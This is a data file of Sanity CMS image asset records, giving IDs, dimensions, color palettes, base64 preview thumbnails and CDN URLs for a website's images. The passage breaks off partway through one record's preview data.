{"_createdAt":"2022-06-15T20:02:48Z","_id":"image-b2a8ae8dc513fe38a559913d3d03a3b56323e914-1567x844-jpg","_rev":"QRl2cGoCgj0FlAhkRriRnw","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:30:37Z","assetId":"b2a8ae8dc513fe38a559913d3d03a3b56323e914","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MBDJ9;vw06BDZ$0eto}+$eI;F5Nx$%-UM|","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAFgABAQEAAAAAAAAAAAAAAAAABQcA/8QAIxAAAgEEAQQDAQAAAAAAAAAAAQIDAAQFEQYSEyFBIjFRYf/EABYBAQEBAAAAAAAAAAAAAAAAAAUEBv/EAB8RAAAGAQUAAAAAAAAAAAAAAAABAgMEERITISIxof/aAAwDAQACEQMRAD8Am3GlizNzHZW1gjS9Plm0AP7Tlxx+4xOXTuY9HijRmkKaPxI/KB4dM9rn8fJbt23LBSQPsVSlvJ5c5ljJJ1FYvGwPGhTDynUS9IjLHG/aEDZNqj51yI6EflsGWRtxSKpJKgj16rUtcyPJM7OxJ2a1aZESkl0A1SNx/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2c3b5f","foreground":"#fff","population":1.58,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":21.79,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":21.79,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#aec0d4","foreground":"#000","population":1.41,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#72a0c9","foreground":"#000","population":0.15,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#62738a","foreground":"#fff","population":2.34,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f18b17","foreground":"#000","population":5.54,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"b2a8ae8dc513fe38a559913d3d03a3b56323e914-1567x844.jpg","path":"images/sczeoy4w/production/b2a8ae8dc513fe38a559913d3d03a3b56323e914-1567x844.jpg","sha1hash":"b2a8ae8dc513fe38a559913d3d03a3b56323e914","size":565421,"uploadId":"18heeSiFRCK7KqCUII4z3PM0HVoEEaVR","url":"https://cdn.sanity.io/images/sczeoy4w/production/b2a8ae8dc513fe38a559913d3d03a3b56323e914-1567x844.jpg"} {"_createdAt":"2023-11-07T10:03:56Z","_id":"image-b2b0d219b8b5d7f3b0b54d00f536c0bb286d3f4e-750x406-jpg","_rev":"URGvS4Je6KJVSLklvAfhwx","_type":"sanity.imageAsset","_updatedAt":"2023-11-07T10:03:56Z","assetId":"b2b0d219b8b5d7f3b0b54d00f536c0bb286d3f4e","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MAEyPhDN1nrmED9#WAV{%0j]0KtQ=GjGpG","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8472906403940887,"height":406,"width":750},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAUGBP/EACAQAAIBBAIDAQAAAAAAAAAAAAECAwAEBRIRIQYxUZH/xAAVAQEBAAAAAAAAAAAAAAAAAAADBf/EABsRAAIDAAMAAAAAAAAAAAAAAAECAAMRBCJh/9oADAMBAAIRAxEAPwCbxeKNxbSTApGiN2W9/lO8diLGeGUTiecdH1qtRuLy18mGJW4YEt3wBWuO+upMXkGe4lLRldTsRx3ROzMdERCirhGmWdpg0WHWKPiME6j4KKYeASPJ4+pdixErAE9/KKvUcsitR5I1tHcz/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#37404e","foreground":"#fff","population":4.16,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a3262a","foreground":"#fff","population":0.46,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#5f8fca","foreground":"#fff","population":7.1,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c4bcaa","foreground":"#000","population":6.77,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5f8fca","foreground":"#fff","population":7.1,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ab5c65","foreground":"#fff","population":0.03,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e2182b","foreground":"#fff","population":2.39,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"shutterstock_1646220583-750x406.jpg","path":"images/sczeoy4w/production/b2b0d219b8b5d7f3b0b54d00f536c0bb286d3f4e-750x406.jpg","sha1hash":"b2b0d219b8b5d7f3b0b54d00f536c0bb286d3f4e","size":84374,"uploadId":"wjnpbpgznZ4SsrR8jKQJbukLjmPEVSNM","url":"https://cdn.sanity.io/images/sczeoy4w/production/b2b0d219b8b5d7f3b0b54d00f536c0bb286d3f4e-750x406.jpg"} {"_createdAt":"2022-11-03T08:26:25Z","_id":"image-b2c53069e6f8b2735762db20a1500dbe124df3fc-3133x1688-png","_rev":"wKuLlvEOHLNDUP7J6BiN3i","_type":"sanity.imageAsset","_updatedAt":"2022-11-03T08:26:25Z","assetId":"b2c53069e6f8b2735762db20a1500dbe124df3fc","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MuOz3]?wVtNFxax^Mxoyt8NHtRRPSOxZR*","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.856042654028436,"height":1688,"width":3133},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAC4jAAAuIwF4pT92AAACL0lEQVQokWWQS08TURiG58f4H1wIQqtGlMbewNqIJnRAsJpqbNyRVBLFREK9sIB6SSxho7BQoEaS2iIBRHtvp9P7zLQ9cz1nppRe3JpOWdiQPIs3OXnyvufDWE6hGYFieLosUGooUlyJ4piKVGVRuQq7rxUARXgM5RYr1LOUROT4HC1hNCMkU/lojIwlsiqZUIQIR4hUukBmqEQyH4mmIzEyk2U4vibCZrGM/iSYnUMycEBgLF/rtJVAp5DmihSXL4JCEVAMTzE8QZZC4VQ8maMZThKQyLJZgvwZ3P+ysf35axCDcktCTUluSt2AWipNdWEtFElubn33/9hNxRP55O/E3rfQlvdg5YX/3bx/bb0jQ7mFlDZS2mpuq7TkWhtwcnBn3/P2vdv9cvG1e+nV84W5meVnzsDTsYLLwC48OJFPg5SWINWj8ZT3w5LTgY+aDSajfsRsHr9lfWM3kvfO/Z06i/3f1ktTRI1qlQn7PUsu3W1Tn1YzqBnUDA1dmbph2LyrV2x9qtz95ymZ5eVcOpIPPEmtDHycvXrTYujvP6/Vaq2W6x7HZHHahEGhJgAIAOLEevdOJ7PlBqhUf+1u7316xK4PxletM85Jne6a0WjAcXzRYSfwUQyxkCsBmmIBp/TI6FjkQDp+GPLN82uXKO+F5dlx+/QdHJ9wTOLeiTHGMoxBqS4JNV44EmGjZzZqyJIogZwQX21uXIbLZ3xzw67H920228MRvc908Ug38A/nFPmXkR68HAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3f4040","foreground":"#fff","population":9.46,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#865132","foreground":"#fff","population":0.23,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#3f4040","foreground":"#fff","population":9.46,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#9cccc4","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcd455","foreground":"#000","population":0.02,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#627eae","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f7a418","foreground":"#000","population":3.94,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"PGConfEU2022_in_a_nutshell_blog.png","path":"images/sczeoy4w/production/b2c53069e6f8b2735762db20a1500dbe124df3fc-3133x1688.png","sha1hash":"b2c53069e6f8b2735762db20a1500dbe124df3fc","size":1570546,"uploadId":"ChGW8o5wTFCcXwoK6mKz7mWCkh1kjM04","url":"https://cdn.sanity.io/images/sczeoy4w/production/b2c53069e6f8b2735762db20a1500dbe124df3fc-3133x1688.png"} {"_createdAt":"2022-06-30T19:56:53Z","_id":"image-b2c811d2177b298a13d309a78d9677550ff2d33a-600x275-png","_rev":"cEPH2uRN58AU2lp9QO7fvV","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:17:15Z","assetId":"b2c811d2177b298a13d309a78d9677550ff2d33a","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M14xe|xuIUt7xu%MofIUj[xu_3WBD%WBof","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.1818181818181817,"height":275,"width":600},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAJCAIAAAC9o5sfAAAACXBIWXMAAAsTAAALEwEAmpwYAAAA+ElEQVQokZ1PW27DMAzLRSzrYcmyU6cFig5rst3/WoPjplv7OYAwCBI0qclEhAhjxBAoQsn543a7f97X+/q1bd/btq3rtq636zWrIkAMYbwxhKmYWUoUIwEwgBC5WXUv2auXuZTqXt3drHcAIADFOPKTm5kIxdiThzdsevIdQ3wJFzM9wrx7A33evvAJeiUQwlTdc1I+mnvb8fez5I3Tb3POlhIj/ifs++y/zRjf8RgcgYYy7oIwJWZhFkJlUkamKEJJmAmZMAkLUxeZBukiEyP2sBAJs2e9LO1UXVVObV7OLefkrpfzMteiKu00tzarsbuel1ayIcAP4uBIqRM/Y+MAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#433f40","foreground":"#fff","population":0.66,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3c131c","foreground":"#fff","population":0.52,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#433f40","foreground":"#fff","population":0.66,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c0bcc4","foreground":"#000","population":0.03,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#df9aa9","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#847c80","foreground":"#fff","population":0.04,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c13d5a","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"b2c811d2177b298a13d309a78d9677550ff2d33a-600x275.png","path":"images/sczeoy4w/production/b2c811d2177b298a13d309a78d9677550ff2d33a-600x275.png","sha1hash":"b2c811d2177b298a13d309a78d9677550ff2d33a","size":10937,"uploadId":"pK4dZTQzQKaU6n9owEh8pobsRYVYFBH7","url":"https://cdn.sanity.io/images/sczeoy4w/production/b2c811d2177b298a13d309a78d9677550ff2d33a-600x275.png"} {"_createdAt":"2022-10-26T11:43:50Z","_id":"image-b2cb768b0ba8e3a9c3c035d5b9fe7bd7530283d8-3389x3389-jpg","_rev":"ekhq2FUysTeCYyFMjoWa75","_type":"sanity.imageAsset","_updatedAt":"2022-10-26T11:43:50Z","assetId":"b2cb768b0ba8e3a9c3c035d5b9fe7bd7530283d8","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eOJtoEX9Gw?Hibo}t7MxR+ozEks:n3WVWAbxozslRiIoELaxsSWVo}","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":3389,"width":3389},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGQABAAMBAQAAAAAAAAAAAAAAAAQFBgMH/8QAJRAAAQQBAwQCAwAAAAAAAAAAAQIDBAUABhESFCExQQcTIlFx/8QAFQEBAQAAAAAAAAAAAAAAAAAABAP/xAAeEQACAgEFAQAAAAAAAAAAAAAAAgEDcQQRITEyM//aAAwDAQACEQMRAD8A01xJNTWMmMlBlSHA01z8A/s5LhVtg1FQbeTHkB3wUDjxOQNbVQstPsv8yOjX9pAO2495C0nGTLfS80HXGQrYc3eWwyd9jpbERPAvT0o9TTPZxs6hImL2HbGaWyLfVqxjQGx5v8yalsqilhR4LqUNySQ5+O5IHrLXRdg5Gpq59htptclYQ5sDse39xjCX/Rci6PD4LmzfX1i++MYxYU//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#6f473b","foreground":"#fff","population":6.91,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5f2513","foreground":"#fff","population":0.05,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#6f473b","foreground":"#fff","population":6.91,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b4bcca","foreground":"#000","population":5.12,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ebaa90","foreground":"#000","population":6.32,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a87563","foreground":"#fff","population":1.22,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bf6a50","foreground":"#fff","population":0.06,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"DSC00792-crop.jpg","path":"images/sczeoy4w/production/b2cb768b0ba8e3a9c3c035d5b9fe7bd7530283d8-3389x3389.jpg","sha1hash":"b2cb768b0ba8e3a9c3c035d5b9fe7bd7530283d8","size":2088077,"uploadId":"IaRWkL4dxC5VUxz5o5BE8DB7i2num8Gk","url":"https://cdn.sanity.io/images/sczeoy4w/production/b2cb768b0ba8e3a9c3c035d5b9fe7bd7530283d8-3389x3389.jpg"} {"_createdAt":"2022-06-16T22:53:47Z","_id":"image-b2cdaf7f3aac9fe02b519d1d0e267901f7d66370-200x64-svg","_rev":"0HOthdQkSgJdYc0C9vxULP","_type":"sanity.imageAsset","_updatedAt":"2022-06-16T22:53:47Z","assetId":"b2cdaf7f3aac9fe02b519d1d0e267901f7d66370","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"D009jvfQfQfQfQfQfQfQfQfQ","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.125,"height":64,"width":200},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAGCAYAAADDl76dAAAACXBIWXMAAAsTAAALEwEAmpwYAAAA5ElEQVQYlW3QzyoEABAG8N8qh30AJxc5yU17EKUoR++g5KDc1sGmNqQcKPIncRG7UVJsK1YpuylykTyE99hmGzdTc5j5vpn5voFfPKCKI7SwhxPcYwOrOMM7vvGBQ+ziGTdo4AseM89xmeAilnGHK5wm9oYfvGAFFbwm7wLNWLiNa3QSfMImtvJqK4m1VPOZ9QLmkxMLQ2247FnaTxV1tHGb9tdQzhcc4wA7WMcsxlJpvCOExRGTmMIElnJp/GwawxhECTMYxyhGMIAihnI+Mvr6UEhwLq3GcH+AGYH/8f6L6PewLicCNj+3y79bAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#040404","foreground":"#fff","population":100,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#424242","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#040404","foreground":"#fff","population":100,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4c4c4c","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4c4c4c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f7f7f","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"spare-labs-logob.svg","path":"images/sczeoy4w/production/b2cdaf7f3aac9fe02b519d1d0e267901f7d66370-200x64.svg","sha1hash":"b2cdaf7f3aac9fe02b519d1d0e267901f7d66370","size":8473,"uploadId":"rAjQXpsHU55iPv8McxdOB8l4xxpZqKp5","url":"https://cdn.sanity.io/images/sczeoy4w/production/b2cdaf7f3aac9fe02b519d1d0e267901f7d66370-200x64.svg"} {"_createdAt":"2024-03-22T09:07:06Z","_id":"image-b2e0bf6a4d553c32fd5361b70e3b3b63dd6a799b-1200x628-png","_rev":"FsdEUX6qPquRWP6V14j8vS","_type":"sanity.imageAsset","_updatedAt":"2024-03-22T09:07:06Z","assetId":"b2e0bf6a4d553c32fd5361b70e3b3b63dd6a799b","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MLOp.NRXaItQ.8rWn,t5bbf,~qr;WCWWRP","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAIAAAA7N+mxAAAACXBIWXMAAAsTAAALEwEAmpwYAAACIElEQVQokSXMy2/ScADA8f6vnvWiBw/GRE96mFniwYNZsqkHH5ljvFtK1xZwgJ20QH99/Erpr/T16wvmNmFAiyFLPtfvl5gZqVXgpidFVOkiUkCUgNgRYseIkewunBnXTpC54c6PM8u57gsyz/XHwPKiZbjICUuN9fKlcsoplKg2JI2WtOZQY0Zqc6h3dAhiOP1nzla2dycO5J/HR9/eH7TrFcsKcLolFHXR4w2uARhaZRm9xUGehfyFzrOwxU/al3an7/4ZxxoMOjT5/eBV8c1zofAZGdCP7gkRLJotq0Sp5zVQrCslSi2SaolUyw2tTGkkM+G7jghSoDl06fT49bOvLx/3fhxZuuLHK0KU5zRnnlflQnlcqMqFyl5xPwIlUqHYSV8MDbQ07bRJke9ePH375FH5y0cDToJkTQzklGLNQlU+q4zPKvJ5DdRoWGeMKg1rTb3BTfoinjorN7q/ktRPxycfDg/JesO0Y5xmhATmDG+WSaVCqeSFwXdnv6XoahgLw+hqFIog0sy/Dt7M8FqGUaevse2xMERT9y5IMwKat6Jgt1uQ+2UKEtbMO8tdI2+D/H3gxesg3eI0t7ylKIe9gdsbuAMZG/aNn2yImbtCWghGriRjfXprB1sH53th7sU5nufhIg/nuROuNXMx0hNgzCG6Qf7ST7aEizPHWyFnabn3tv9Q7h644S5IcpzmON0FaeYnWy/e+MkWz7OH6X+IffMfwqMMhgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4d3c33","foreground":"#fff","population":0.65,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c02030","foreground":"#fff","population":1.13,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#b3b9d5","foreground":"#000","population":2.03,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b3b9d5","foreground":"#000","population":2.03,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc649c","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a1655b","foreground":"#fff","population":0.36,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ed2f40","foreground":"#fff","population":0.42,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Delivery Hero - Hero Image final.png","path":"images/sczeoy4w/production/b2e0bf6a4d553c32fd5361b70e3b3b63dd6a799b-1200x628.png","sha1hash":"b2e0bf6a4d553c32fd5361b70e3b3b63dd6a799b","size":80069,"uploadId":"51yJKGIdmEtSc0L8cJpRULwjWwb1nabA","url":"https://cdn.sanity.io/images/sczeoy4w/production/b2e0bf6a4d553c32fd5361b70e3b3b63dd6a799b-1200x628.png"} {"_createdAt":"2023-06-14T11:34:52Z","_id":"image-b2e699d6f8646facc8f508f6b1a589e6f66813f4-902x1200-jpg","_rev":"FJE9FJz5NeK3Yo2P5NXd8D","_type":"sanity.imageAsset","_updatedAt":"2023-06-14T11:34:52Z","assetId":"b2e699d6f8646facc8f508f6b1a589e6f66813f4","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"dYF65.xvNrV@.TNLs9sAOwNenTt7o%WCNekWWGRQW;t7","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.7516666666666667,"height":1200,"width":902},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAbABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAUGAf/EACYQAAIBBAEDAwUAAAAAAAAAAAEDAgAEBRESBiEiEzFhB0FRcZH/xAAXAQADAQAAAAAAAAAAAAAAAAABAwQC/8QAJBEAAgIABAYDAAAAAAAAAAAAAQIAAwQFEiERExUiMUFRYaH/2gAMAwEAAhEDEQA/AH+MsbPIsVIv4omOWz76rE9SSxV62wmyS7SMiFtI2O33FJLHLSCmKmyKBOHIER3IEUlyUHNl6rLssWsCYOtf2lU5vdiKVa3Y+5lctVWZ0Pb6lReZP1nyZYWdxdIPs2R1yP6oqfnlLuB1ErjEgGPlrtRUPVccNgF/YNNH3BCcbj79NxcGTwuPE+Xt81G/UfqJS4Lt8S0zjKe5ziNAfFZ0+1jrWJbMzPMDv+NUZG3S7KMUxcZLCx46q9MNWpHAR62lUKDwZKr6luxACctn5opZklQVfOguPGMZaAop3Jr+JPpE/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#516437","foreground":"#fff","population":5.34,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8c3c04","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#9a6b5a","foreground":"#fff","population":6.56,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#9dc7b4","foreground":"#000","population":5,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#76a8f2","foreground":"#000","population":0.25,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9a6b5a","foreground":"#fff","population":6.56,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#daa813","foreground":"#000","population":2.49,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"angie-byron.jpg","path":"images/sczeoy4w/production/b2e699d6f8646facc8f508f6b1a589e6f66813f4-902x1200.jpg","sha1hash":"b2e699d6f8646facc8f508f6b1a589e6f66813f4","size":200130,"uploadId":"IPHn0bAmhRQ0izerTdor51gSKM5NZFun","url":"https://cdn.sanity.io/images/sczeoy4w/production/b2e699d6f8646facc8f508f6b1a589e6f66813f4-902x1200.jpg"} {"_createdAt":"2022-10-25T14:05:06Z","_id":"image-b33ac73a57a9ff5118bf4672a6768da0c33aa921-1168x489-gif","_rev":"34UGMIgDw2vmSQgclbeo7J","_type":"sanity.imageAsset","_updatedAt":"2022-10-25T14:05:06Z","assetId":"b33ac73a57a9ff5118bf4672a6768da0c33aa921","extension":"gif","metadata":{"_type":"sanity.imageMetadata","blurHash":"M6Jkl#RP%LRjxu~qWBoLaxf5?bWBj@f6ax","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.3885480572597135,"height":489,"width":1168},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAIABQDASIAAhEBAxEB/8QAFwABAAMAAAAAAAAAAAAAAAAAAAEDBv/EABwQAAICAgMAAAAAAAAAAAAAAAABAgMSITJSkf/EABQBAQAAAAAAAAAAAAAAAAAAAAD/xAAUEQEAAAAAAAAAAAAAAAAAAAAA/9oADAMBAAIRAxEAPwDZxk0tNk5y7MAC6uyePJ+gAD//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#615c54","foreground":"#fff","population":0.06,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#800e03","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#615c54","foreground":"#fff","population":0.06,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d4bccc","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fca49c","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#817984","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f71b07","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/gif","originalFilename":"b33ac73a57a9ff5118bf4672a6768da0c33aa921-1168x489.gif","path":"images/sczeoy4w/production/b33ac73a57a9ff5118bf4672a6768da0c33aa921-1168x489.gif","sha1hash":"b33ac73a57a9ff5118bf4672a6768da0c33aa921","size":148858,"uploadId":"ZPvMPLLJ1zJWBmivBfBHTXxuGA6gyHxH","url":"https://cdn.sanity.io/images/sczeoy4w/production/b33ac73a57a9ff5118bf4672a6768da0c33aa921-1168x489.gif"} {"_createdAt":"2022-06-17T08:37:26Z","_id":"image-b357828063a07181ce53eacbe3af61d02e9a8a21-2500x3125-png","_rev":"oamrAPLmQLQjd9jh7ZwCj8","_type":"sanity.imageAsset","_updatedAt":"2022-06-17T08:37:26Z","assetId":"b357828063a07181ce53eacbe3af61d02e9a8a21","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"dNM6#X?v00,ltZw0V}b_009byYIVM#SvSiNL0y${~8gh","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.8,"height":3125,"width":2500},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAZCAYAAAAxFw7TAAAACXBIWXMAABcRAAAXEQHKJvM/AAAGK0lEQVQ4jVWVC1BU1xnHPx4JKhJlmpg6o3aaSWpm2qY2PuorUTSR1lQsGLQgiQnqghCTVO7FBKyvpJjYOppo6AzaJKa7oNFIUsTnOmpMUYIsyL2Lqzx0F3ARXReWZS/L3vP9O7sLas/M/3zn3POd33ce372XaLBAlQmqRFCksA31hzTYV2Ri5UE77C/f9wmVx9eAnszRacr6O0EsafXvk67khxw4NDFoHwp0HzAoZWgsHIx+kg16fA3Tc5Kbjld8TmjNIlbkCFbkGKhyLFT5Uaj5hCu59yeGgtxfofTguSoTNUm/oMvSNFK/yiKAqKtmSxD2U6jyH1iVM1nNXwBr4Rh0mSPQuGE4q/J4qPKzUOVxrMrDwrsYCiIRJeTWEhlAE2UtmpIR5a3bMBKqnMKKVMGKZIOSVwFlXSY3vDMFSt5iqHIRVPlzqPJWKFICVDnu4ZUTJYO2yjujfrfOPopWIP7s8ZIJQpE3sZrvZGsB+OomD9u2XoJty0FYC85DlW9BkbxQ5TaocgkU6XmocuQQlLCdyCk9OXzzO9vH/jq37amSA5Uzexp2/JNbdt9DmwnsPCpw++QAOyt87PhqAE1/B6yFgCoDimRhVV4GRRo2dJYEiUj/25j4zuK5v635etPi+qryjS779/8V3Q0+aB3ggW5GwAP4XUC